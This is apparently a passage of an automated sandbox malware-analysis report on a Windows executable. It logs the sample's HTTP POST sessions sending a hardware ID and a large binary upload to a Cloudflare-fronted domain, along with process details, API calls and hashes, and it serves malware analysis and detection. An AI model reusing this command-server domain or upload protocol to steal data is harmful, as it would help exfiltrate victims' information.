2024-03-22 12:54:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 39 34 0d 0a Data Ascii: 11ok 191.96.227.194
2024-03-22 12:54:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:08 UTC	378	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7077 Host: relevantvoicelesskw.shop
2024-03-22 12:54:08 UTC	7077	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 31 36 32 37 42 44 41 44 42 32 33 38 30 34 42 30 39 31 30 33 32 37 41 44 46 46 43 42 39 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 35 4d 76 54 43 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"911627BDADB23804B0910327ADFFCB96--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g5MvTC----b
2024-03-22 12:54:09 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nnpeib0qkmk1q2ajkfhbhngp2p; expires=Tue, 16-Jul-2024 06:40:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qTnw23qOOdoOkfXwb6Z0w4Bpn20iC93ux2PvmKgKxiE0QvTmtAz7XL%2BPU0FBCt08p6l58zn0DFk%2B6YfpvCyaGTFVmr5xs0A6ZHKwI3ZknaC4o96tlESXUDp%2FW7LsuTnOOS6f9lzt0hI1VmI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8686541e19670ca5-EWR alt-svc: h3=":443"; ma=86400
2024-03-22 12:54:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 39 34 0d 0a Data Ascii: 11ok 191.96.227.194
2024-03-22 12:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:10 UTC	378	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1409 Host: relevantvoicelesskw.shop
2024-03-22 12:54:10 UTC	1409	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 31 36 32 37 42 44 41 44 42 32 33 38 30 34 42 30 39 31 30 33 32 37 41 44 46 46 43 42 39 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 35 4d 76 54 43 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"911627BDADB23804B0910327ADFFCB96--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g5MvTC----b
2024-03-22 12:54:10 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0oa41k4g9fnscu3ihbgi8rofad; expires=Tue, 16-Jul-2024 06:40:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YemnCj7gj6cHrv%2FkQbT9KwAAfUDzbrxn55iu%2FKZ6kueL6tgOPUv88mC%2FQkW%2Bg0OFWd6V7Y1HY92gLdgkJ2N04js5bYVw7OfHrSqDFGyqVhJ1nn2gHg7nmlngBvr21AYX7Y23QHzxCUfZB5c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 868654291c5d191b-EWR alt-svc: h3=":443"; ma=86400
2024-03-22 12:54:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 39 34 0d 0a Data Ascii: 11ok 191.96.227.194
2024-03-22 12:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:11 UTC	380	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587977 Host: relevantvoicelesskw.shop
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 31 36 32 37 42 44 41 44 42 32 33 38 30 34 42 30 39 31 30 33 32 37 41 44 46 46 43 42 39 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 35 4d 76 54 43 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"911627BDADB23804B0910327ADFFCB96--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g5MvTC----b
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: d2 2e 02 1b ad a8 95 fd d0 63 d4 3b ed cc ce 27 2e b1 2a 48 af ab 7e fb ff 36 18 21 97 6b 80 fe a1 15 cc e0 40 8c 09 35 97 8d 14 9c 20 10 61 1a d6 1a a3 b1 1e f1 ac 3c 8a a7 08 6a 73 37 25 f0 60 24 bc c5 43 b1 6f b3 84 98 07 25 bb 05 80 4d 62 ba bd 1b 0e 34 ca 2d 5c 31 41 47 89 3c b7 2f 81 64 95 61 aa c8 76 91 06 cd 7b e3 53 4a 48 ec 17 63 96 50 87 24 dd 61 13 8a 1c 1c 88 7f f9 7b 5c 99 3b a1 19 47 ad 34 93 51 ef 87 a5 bb 8a 80 a5 0b 77 b2 a8 18 53 78 1e 33 47 49 dd 6a f4 75 96 63 d7 39 10 36 89 2b 72 d5 1b 75 26 23 3e b6 d2 54 32 33 03 0b 8b 2f 6b 4c bd 5d 02 de 7b 68 5a 68 7f 3e 30 f9 13 bd b0 41 08 30 7a 60 1e 58 24 67 0d 91 47 ea 6a be 26 7e e5 8e 18 bb be eb 27 f1 ce bf 4f d0 e0 89 45 6d 7d 10 4c 3a cd c4 90 dd 36 9e 26 5b 9c d0 bd bc 04 39 b7 59 d4 Data Ascii: .c;'.*H~6!k@5 a<js7%`$Co%Mb4-\1AG</dav{SJHcP$a{\;G4QwSx3GIjuc96+ru&#>T23/kL]{hZh>0A0z`X$gGj&~'OEm}L:6&[9Y
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 0c 58 4a a1 11 87 a5 87 d2 cd ee ca 1c 85 d7 8c 43 cd 62 89 9e 38 32 66 41 e7 7a e3 27 bd 99 30 a5 36 33 d8 bf c5 28 6a e5 3b 36 ca d3 7b c3 63 80 64 cf f8 29 7a d2 da 55 26 c8 7b 0f 79 6e e8 69 04 f9 a7 80 9d 27 bf 6a b6 d2 46 86 a7 c5 f8 f6 90 f1 4b 4b 8b 10 47 01 fc 01 ce 73 c9 ed 53 af 9a bf c8 31 60 7f af f9 9e 9e a0 a9 99 73 91 19 73 1f 35 91 78 7f 52 ba e3 77 3c 8a d8 fc ac fa e7 7a 93 14 43 99 d3 76 87 68 16 f8 63 ad f1 2c 01 55 fb 97 6d f3 57 c5 fa c0 bd ec e1 54 a7 55 d2 48 03 6a ec 32 b0 88 a6 e2 67 f0 cb 92 bf 8a 88 67 9c ec 67 e4 87 14 d2 ac a8 d9 70 fc 60 34 eb 81 07 4d 05 55 63 14 e1 7d d5 73 0b 3f 76 39 bf 55 1b f4 4a 85 4a 2f 5e c8 76 55 ac be 3a 77 98 69 5c 5b cd 2b d3 71 0d 65 5a c2 d3 45 72 42 1a e4 d4 ef e4 a8 74 95 e8 ad 3b a4 3e f8 Data Ascii: XJCb82fAz'063(j;6{cd)zU&{yni'jFKKGsS1`ss5xRw<zCvhc,UmWTUHj2gggp`4MUc}s?v9UJJ/^vU:wi\[+qeZErBt;>
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 70 0a ad af 35 22 dd e7 a1 63 6f 56 66 e7 6e 59 0f 4b 0b b7 9e f1 66 3a 70 1e 09 7e 57 8d 19 75 1e f9 47 a9 92 bd 3e 75 69 0e eb 33 48 bb d9 3a 64 f6 e0 30 f7 ee 5e 81 3c 5d 04 f6 91 11 89 eb 7c 99 a1 f6 41 ee 28 07 c6 4e 83 6c dd 21 ff 6b c2 60 e1 ac 20 58 0e 63 ef 04 0e 7d e2 76 c6 10 41 3f 87 55 b3 cf d7 ef 0d 38 8b 99 ae 1f 10 72 8c b0 dc 08 d9 f5 10 4c ec 38 36 84 63 5d cc f8 d7 ee 2b 95 c3 a4 af b2 3e 93 3a 7a ed b2 e3 1f 09 b3 83 a1 af 89 e4 49 7f e9 d8 8a e8 03 a8 e2 59 ff 58 37 79 83 1f 7b de 9a e0 0b c3 ac 95 41 32 59 5b f9 e6 3f 19 6f a4 25 5e e5 3e 1a 6d 66 3d 8b 6b bf a3 f7 09 95 77 42 be 48 a2 3d e9 8b ba aa a2 de fc 5d 00 c4 e0 e6 30 e2 26 55 3e d1 3b f4 b8 27 b7 80 26 60 2f 17 f8 72 04 f3 02 79 74 3b d0 be 97 a6 f3 a7 bd 14 a0 94 38 cd ab Data Ascii: p5"coVfnYKf:p~WuG>ui3H:d0^<]\|A(Nl!k` Xc}vA?U8rL86c]+>:zIYX7y{A2Y[?o%^>mf=kwBH=]0&U>;'&`/ryt;8
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 8a fc d8 15 55 68 9c c1 c8 bb 82 bb 93 b8 3b b3 27 7a a9 0d 00 01 59 28 0c 15 91 0b 03 bc 19 31 7a 3f 1a 41 64 32 9c 20 e6 86 93 8d f8 f1 be fe d7 7e 59 88 7c 43 b0 67 eb 7f 45 c8 ff eb a6 8c e3 1c e5 69 0e 80 f2 4d 1e 76 9e 3b 9b d3 4e 41 b1 c8 9f 1f 3c 9c 29 bb 99 e7 43 a4 d4 3e 6c cd bc c6 0b 0e ab f3 c1 08 90 71 7d 4d 87 f4 5f fb 21 21 16 8f e5 3a ba dd ea 37 27 b5 b5 f9 f8 db 83 3a ab 92 33 41 79 42 a3 58 70 16 b2 e7 02 66 ab 08 2d 97 1b 32 90 32 bd 88 b4 0f e7 8f 10 9e ba e6 a7 06 9c d1 2b d7 26 7a 2b 91 5b f2 73 28 d0 a5 17 31 34 3e 40 6e bf 98 d9 18 21 34 76 fa 4a 1a 24 25 78 04 ce b1 30 fa 8c a4 2b 0a 24 f6 87 1f bd 70 02 54 73 8d 5e e4 bb 07 dd f5 94 78 72 38 0c 19 26 8a 73 fd b3 f6 d5 7a 40 b8 00 6b 3b 18 aa ca 87 6c 29 81 6c 9c 23 f5 77 6c 7a Data Ascii: Uh;'zY(1z?Ad2 ~Y\|CgEiMv;NA<)C>lq}M_!!:7':3AyBXpf-22+&z+[s(14>@n!4vJ$%x0+$pTs^xr8&sz@k;l)l#wlz
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 27 ac d3 e5 85 cb ac 47 f6 c5 dd 6b b2 6d 56 c6 fb f7 e3 73 df c0 92 ce c9 7b c0 c8 18 c0 cb f2 4c 77 6b 40 70 65 62 f7 6f a7 b1 9a 4c 89 c2 dc 63 b0 38 ff a5 d4 fd f8 63 b0 bf 52 29 2e 18 59 8a d4 66 e9 87 55 ce 9c 9e 26 5b 62 e7 8f d6 2b 62 9b 18 d9 99 a5 f1 80 c7 c9 89 73 98 65 84 d0 3c 8c b9 fe ec 30 bb 48 c5 53 d3 97 73 82 fd 3d 90 a2 f9 11 b4 35 06 77 2d 37 55 cf f0 ec 5b 32 7f 6b 9e 84 c4 23 a8 da 7b 70 b8 24 15 53 85 f4 30 fd 16 54 89 40 c3 90 52 c0 cc e8 0f 57 ae e3 19 87 ec 90 8c d1 a2 24 1d e5 e0 45 4e 11 13 7b 7c 18 d3 15 43 c5 ef ed b7 e5 8c 43 b5 0a 95 4f 49 e3 7a 30 68 b7 4e 0b c6 6f 75 d2 ac f0 15 8b f4 27 51 11 20 e3 ef 73 7f 89 b0 4a 31 20 f0 a2 38 1e c2 53 49 76 41 ca 8e 9f aa 04 4b 51 7b 10 f7 3c 9c d9 e9 35 4d 4f 82 49 69 c5 ec e7 a9 Data Ascii: 'GkmVs{Lwk@peboLc8cR).YfU&[b+bse<0HSs=5w-7U[2k#{p$S0T@RW$EN{\|CCOIz0hNou'Q sJ1 8SIvAKQ{<5MOIi
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 28 3c 72 b1 5c 07 ce f7 5e be 08 9b 21 80 94 4e 5d 6e 4a 56 ce fa a4 cd 68 85 11 67 27 3a c4 48 35 26 5f 42 ca b1 01 12 95 f2 47 a0 f6 93 42 0c b6 bf 5e 32 14 2a b8 f5 3a 9e 66 ab 03 20 4e c2 67 ce 72 5f 6e e8 fa 77 fb 04 69 60 59 3d fd 98 1f cc e9 c3 06 94 40 f0 21 24 05 62 0c 47 89 80 c6 22 ca 5e dd de 0f 2e e4 92 a5 f7 ef da bf ae da 3d b0 1b 1e 1a 80 b1 06 bc 5b cf 78 d4 6c 4e 00 20 97 0d 96 a2 e4 1f 1b bd bb 71 8b 13 e8 72 95 62 35 9c 4a 02 45 69 c3 33 4d 79 1f 75 4c 48 68 9e 1b 02 5e c3 3a 16 1e 2e b3 1f b9 d8 05 83 5e e3 22 a4 c5 8c c0 e8 d4 bb ab ed 7b e3 d4 47 b2 e4 10 77 7d 2c a9 19 41 ad 3f 44 78 5a 7a 65 5f f0 06 ac aa 67 43 e0 58 14 e5 7f 9d 90 e7 e4 44 fe 77 19 e9 89 0e 14 24 0b c9 01 5a 3b 7c f7 d4 b0 60 af 28 ad d6 8c f7 ec 27 21 92 2d d6 Data Ascii: (<r\^!N]nJVhg':H5&_BGB^2*:f Ngr_nwi`Y=@!$bG"^.=[xlN qrb5JEi3MyuLHh^:.^"{Gw},A?DxZze_gCXDw$Z;\|`('!-
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 16 3d fc ea 63 33 aa 4a 53 4c 38 a0 de a7 0b 8c 7e ed 0e 5a 09 58 c4 ad ea 7c 1d 14 08 09 0f 5f 18 1c f2 41 b0 a1 1e a5 d2 e2 65 b7 39 99 8a 32 5e 8d 4f c6 64 51 c3 58 37 25 f5 e7 66 d5 fc 74 0c 87 e9 66 bc 78 71 8a 39 dd 72 17 01 8c 4d d2 83 7e 2c 5e df 7a 65 c4 8b 46 ea 87 b3 fb 4b be 66 f6 eb c7 62 0f 50 55 d8 63 87 d3 4f 7f 64 7a bc 0f e9 68 83 6e 6f 26 ff 14 b2 64 cd 24 f3 97 bc 37 71 4f b5 3e a1 46 bf 7f f9 d1 f0 13 d0 52 79 78 e3 1f bb c7 e9 f9 e7 84 58 c3 7b a0 ed ec de aa 69 3e 45 d9 8d 39 c3 0d 19 db 15 3b 8d 02 f3 45 dd 97 9d 17 9d 56 75 63 b8 9b 39 43 45 09 ac 2d 1d 21 b2 2b e9 70 d5 c3 6a ce 19 e8 95 ff fa c6 50 c8 15 70 b0 ac ba cd 9b 3d fd f0 40 6e 4d e7 9a 0e 27 af d2 46 73 64 70 f4 cb 01 d0 4e b1 04 a7 42 6c 08 b8 ea b1 d5 30 ce 79 b0 fe Data Ascii: =c3JSL8~ZX\|_Ae92^OdQX7%ftfxq9rM~,^zeFKfbPUcOdzhno&d$7qO>FRyxX{i>E9;EVuc9CE-!+pjPp=@nM'FsdpNBl0y
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 9b 4b 64 24 8e 89 cf e9 8b 84 ae 71 9c a5 c1 ba 9b 3a 20 aa 10 98 13 eb 59 7b 6d dd 04 24 04 10 b2 a7 cf b2 4d fc a0 d2 bb 58 9f a7 e9 d2 b7 1d 2c 33 9c b2 8d 84 85 61 9b e1 aa a8 90 b3 df aa 2f 3f 50 0a f7 dc 2c 49 20 a3 a3 0d 78 62 e2 2e 26 6f 9a 19 a3 c2 8c 8d 10 39 ec a5 ea 14 4c a3 5e 81 45 68 d0 53 f5 cd 46 ed c3 cc 26 c1 11 13 92 b9 76 d3 72 9b 9a b6 2a 23 95 97 3d 4f 25 60 1e 62 0b a4 43 dd 3f 25 17 24 ea 80 19 83 11 4e 05 d3 18 39 77 80 6c ac a8 3f 25 66 89 8e 2c c3 88 0b bf 54 84 71 9b ed 90 9e 5a 81 2d a4 d2 17 96 ba 26 93 e9 ac f7 5e 93 b1 07 db 38 4a 89 5f 3e b0 7e 77 48 4c 08 ed f7 fb 50 07 20 a6 85 5f 8c fc 9a a8 9d 84 26 ca 23 3b 3a 28 52 2e c4 9f f4 c2 a5 ba 83 c8 80 c7 90 55 63 b6 ce d6 e9 7b 14 33 f3 9f 6f 12 4c 35 25 f7 18 a2 67 dd cb Data Ascii: Kd$q: Y{m$MX,3a/?P,I xb.&o9L^EhSF&vr*#=O%`bC?%$N9wl?%f,TqZ-&^8J_>~wHLP _&#;:(R.Uc{3oL5%g
2024-03-22 12:54:11 UTC	15331	OUT	Data Raw: 3e f3 a5 ec 13 85 d1 00 bf d1 10 15 e1 be 13 41 f5 91 4f b9 cb a4 10 7d 66 84 25 32 24 b1 9b d1 37 bc b6 93 c6 f4 cd e0 44 1c 70 7d db 58 7b be e0 1d 43 3f a4 ec 14 7b 70 d1 fd 56 89 b9 ec 71 93 2f 0d ef ef 66 dd 9a 31 2c 08 c0 e7 75 4e 9b 63 16 3e d9 91 cf db e4 26 d4 3c 15 1c da 68 90 1a ee 33 6c 70 c3 2f cc e3 59 f7 48 32 7e f6 15 96 16 c1 6e fe b0 96 c9 ca 1f 39 b5 13 c4 8f 7e 86 a8 44 86 46 d1 0e a1 06 3e 70 13 fa 0b fe 1c fc cf 7d 16 1b af 1c 34 e1 f1 8e 95 bf 4d 4e c3 48 c8 4c 1a 65 1a 40 a7 be 9f 33 99 60 71 0d e7 6e 24 b3 17 15 c0 23 93 a7 bb 43 44 15 e1 e4 b5 9f 80 e0 e6 30 6c 76 b7 a1 01 0d 27 06 1b 8d 55 47 f7 17 63 fc b8 4a d6 35 25 48 4c 70 cf 93 35 66 12 f2 21 b8 48 fd 55 b5 dc 2c 81 65 87 1b 9e d6 34 09 88 97 2d 46 df d6 38 4d 47 45 04 2c Data Ascii: >AO}f%2$7Dp}X{C?{pVq/f1,uNc>&<h3lp/YH2~n9~DF>p}4MNHLe@3`qn$#CD0lv'UGcJ5%HLp5f!HU,e4-F8MGE,
2024-03-22 12:54:20 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o71nmetkdq0025susmclrojqhh; expires=Tue, 16-Jul-2024 06:40:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8IvYuqasQZgdfBVdphfg8bv3P0CpDU1Bg070MfT%2Fy0JnD0QG2PsiQXU0WtThytDBCibtiO7HkBXaPvX9AXtMdyRF9SfNnGYkRhmNqSNAyE5thhjWEFM8oeEtVcUqTgZefgDawnnA1ArrQzM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8686542ff8c442bf-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	09:54:00
Start date:	22/03/2024
Path:	C:\Users\user\Desktop\Ag3ijL3z1w.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ag3ijL3z1w.exe"
Imagebase:	0x60000
File size:	2'444'904 bytes
MD5 hash:	038F01C7AB34D20394B657CE5D5F3152
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	43.4%
Total number of Nodes:	258
Total number of Limit Nodes:	13

Executed Functions

Function 000695E0 Relevance: 17.9, Strings: 14, Instructions: 422
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

E-^3, xrefs: 00069A42
0, xrefs: 0006963D
%I8O, xrefs: 00069A7A
c%U+, xrefs: 00069BB8
X)\/, xrefs: 00069A3A
)M:S, xrefs: 00069A82
,Y+_, xrefs: 00069A9A
*E0K, xrefs: 00069A72
m]8c, xrefs: 00069AA2
b5K;, xrefs: 00069A52
1A;G, xrefs: 00069A6A
&QaW, xrefs: 00069A8A
<U%[, xrefs: 00069A92
J9S?, xrefs: 00069A5A

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: %I8O$&QaW$)M:S$*E0K$,Y+_$0$1A;G$<U%[$E-^3$J9S?$X)\/$b5K;$c%U+$m]8c
API String ID: 0-997815367
Opcode ID: 49492a8db0582d2d617fa9792fb3e23ec08585090a9e970b42a89378f6a4072a
Instruction ID: f38c6fc95b84039fe90d4922d6893b4ba32f8851de48ca31ac205bd10fd6288e
Opcode Fuzzy Hash: 49492a8db0582d2d617fa9792fb3e23ec08585090a9e970b42a89378f6a4072a
Instruction Fuzzy Hash: D50203B02183818BE724CF14C4A4B6FBBE6BBC2348F148D1DE5D58B692D779D509CB92

Uniqueness

Uniqueness Score: -1.00%

Function 000812E2 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0008159D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00081688

Strings

p}w/, xrefs: 00081A21
Tzrp, xrefs: 00081A2B

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: ComputerName
String ID: Tzrp$p}w/
API String ID: 3545744682-1275741564
Opcode ID: 1902111e27832e3576ef8114d9d03c7a18ee8f0eef3edc0752be9a55ef009dcf
Instruction ID: d41d5abbab1d3f311b942b230e71a077a92506906ba00a72dae75767989ffff9
Opcode Fuzzy Hash: 1902111e27832e3576ef8114d9d03c7a18ee8f0eef3edc0752be9a55ef009dcf
Instruction Fuzzy Hash: A4226C70104B818AE725DB38C498BE7BBE5BF16304F48895DD0FB8B283DB79650ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00095440 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000955B5
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00095627

Strings

@, xrefs: 00095500
,, xrefs: 0009558C

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
